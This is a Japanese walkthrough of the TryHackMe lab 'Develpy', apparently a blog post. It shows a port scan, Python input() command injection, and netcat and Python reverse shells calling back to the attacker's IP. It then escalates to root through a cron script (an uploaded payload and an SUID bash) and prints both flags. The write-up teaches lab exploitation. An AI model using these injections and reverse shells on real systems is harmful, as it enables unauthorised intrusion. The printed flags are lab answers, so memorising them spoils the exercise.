【TryHackMe】Develpy：Walkthrough

# 概要

TryHackMe「Develpy」のWalkthroughです。

https://tryhackme.com/r/room/bsidesgtdevelpy

# Task1

## **Q1**.*user.txt*

ポートスキャンを実行します。

```
$ nmap -Pn -T4 -sV -A -sC -p- 10.10.154.157 -oN nmap_result
PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_  256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.2p2|
|10000|snet-sensor-mgmt||

`10000`ポートにGETリクエストが送信できないのでNetcatで接続してみます。

```
$ nc 10.10.154.157 10000

        Private 0days

 Please enther number of exploits to send??:
```

数字を入力すると、その分だけパケットを送信しているようです。

```
Please enther number of exploits to send??: 1

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.046 ms

Please enther number of exploits to send??: 2

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.015 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.021 ms

Please enther number of exploits to send??: 3

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.077 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.065 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.074 ms
```

数字以外を入力するとエラー文が表示され、pythonで書かれていることが分かりました。

```
$ nc 10.10.16.122 10000

        Private 0days

 Please enther number of exploits to send??:  
Traceback (most recent call last):
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 0
    
    ^
SyntaxError: unexpected EOF while parsing
```

pythonのOSコマンドインジェクションのテクニックを検索しました。
`__import__('os').system('ls')`の様な値を送信するとこで、脆弱性を悪用できそうです。

https://www.stackhawk.com/blog/command-injection-python/

実際に試してみるとインジェクションに成功しました。

```
$ nc 10.10.16.122 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('ls')
credentials.png  exploit.py  root.sh  run.sh  user.txt

Exploit started, attacking target (tryhackme.com)...
```

Netcatでリバースシェルを張れました。

```
$ nc 10.10.16.122 10000

        Private 0days

 Please enther number of exploits to send??: __import__('os').system('nc -e /bin/sh 10.6.55.144 1234')
```

```
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.16.122] 42262
whoami
king
```

TTYの設定をします。

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
king@ubuntu:~$
```

`/home/king/user.txt`からユーザーフラグを入手できました。

```/home/king/user.txt
cf85ff769cfaaa721758949bf870b019
```

:::note info

`/home/king/credentials.png`をダウンロードして確認します。

![credentials.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e0e4ffc7-4045-2f57-7872-9553a70e1cbb.png)

メタデータを読み取ると`Mondrian`という情報を得られました。

```
$ exiftool credentials.png                                    
ExifTool Version Number         : 12.70
File Name                       : credentials.png
Directory                       : .
File Size                       : 272 kB
File Modification Date/Time     : 2019:08:27 15:08:23-04:00
File Access Date/Time           : 2024:10:21 21:21:38-04:00
File Inode Change Date/Time     : 2024:10:21 21:19:47-04:00
File Permissions                : -rwxr-xr-x
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 520
Image Height                    : 520
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Palette                         : (Binary data 768 bytes, use -b option to extract)
Transparency                    : (Binary data 256 bytes, use -b option to extract)
Artist                          : Mondrian
Copyright                       : Mondrian
Image Size                      : 520x520
Megapixels                      : 0.270
```

`Piet Mondrian`という画家がいたようです。

[Wikipedia Piet Mondrian](https://ja.wikipedia.org/wiki/%E3%83%94%E3%83%BC%E3%83%88%E3%83%BB%E3%83%A2%E3%83%B3%E3%83%89%E3%83%AA%E3%82%A2%E3%83%B3)

また、`piet`というプログラミング言語があるようです。

https://esolangs.org/wiki/Piet

この画像はその`piet`で書かれたプログラムのようです。
下記サイトで実行してみるとパスワードを得られました。

https://www.bertnase.de/npiet/npiet-execute.php

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a1ebe40e-2743-b820-38b3-ddcb75a61c28.png)

:::

**A**.**cf85ff769cfaaa721758949bf870b019**

## **Q2**.*root.txt*

### 解法1

`/etc/crontab`を確認すると、`/home/king/root.sh`,`/root/company/run.sh`がルートで実行されていると分かりました。

```
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   king    cd /home/king/ && bash run.sh
*  *    * * *   root    cd /home/king/ && bash root.sh
*  *    * * *   root    cd /root/company && bash run.sh
#
```

`/home/king/root.sh`では`/root/company/media/`配下のpythonファイルをすべてroot権限で実行しています。

```/home/king/root.sh 
python /root/company/media/*.py
```

また、`linpeas`を実行しローカルの`8080`でWebアプリケーションの動作も確認できました。

```
$ ./linpeas.sh

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                           
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                                       
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN      781/socat       
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      - 
```

SSHでフォワーディングの設定をします。

```
$ ssh -L 8000:127.0.0.1:8080 king@10.10.130.49
king@ubuntu:~$
```

ディレクトリスキャンをします。

```
$ dirsearch -u http://127.0.0.1:8000
[22:10:53] 301 -    0B  - /admin  ->  /admin/
[22:10:56] 302 -    0B  - /admin/  ->  /admin/login/?next=/admin/
[22:10:58] 301 -    0B  - /admin/login  ->  /admin/login/
[22:12:11] 301 -    0B  - /books  ->  /books/
[22:14:23] 301 -    0B  - /upload  ->  /upload/
[22:14:24] 200 -    2KB - /upload/
```

`/upload`では、`/media`フォルダにpythonファイルをアップロード出来ます。
このことから、pythonのエクスプロイトコードをアップロードし、`/home/king/root.sh`経由で権限昇格出来そうです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/645755fe-8f2f-24c8-c946-7f4f3e19e971.png)

pythonのリバースシェルペイロードをアップロードします。

```shell.py         
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.55.144",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
```

Netcatでリッスンしているとroot権限を取得できました。

```
$ nc -lvnp 1234           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.130.49] 44950
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
```

### 解法2

`/home/king/root.sh`を差し替えます。

```
$ mv root.sh ./root.sh.org
$ echo "chmod u+s /bin/bash" > root.sh
$ chmod +x root.sh
```

rootに権限昇格できました。

```
$ ls -la /bin/bash 
-rwsr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash
$ /bin/bash -p
bash-4.3# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
9c37646777a53910a347f387dce025ec
```

**A**.**9c37646777a53910a347f387dce025ec**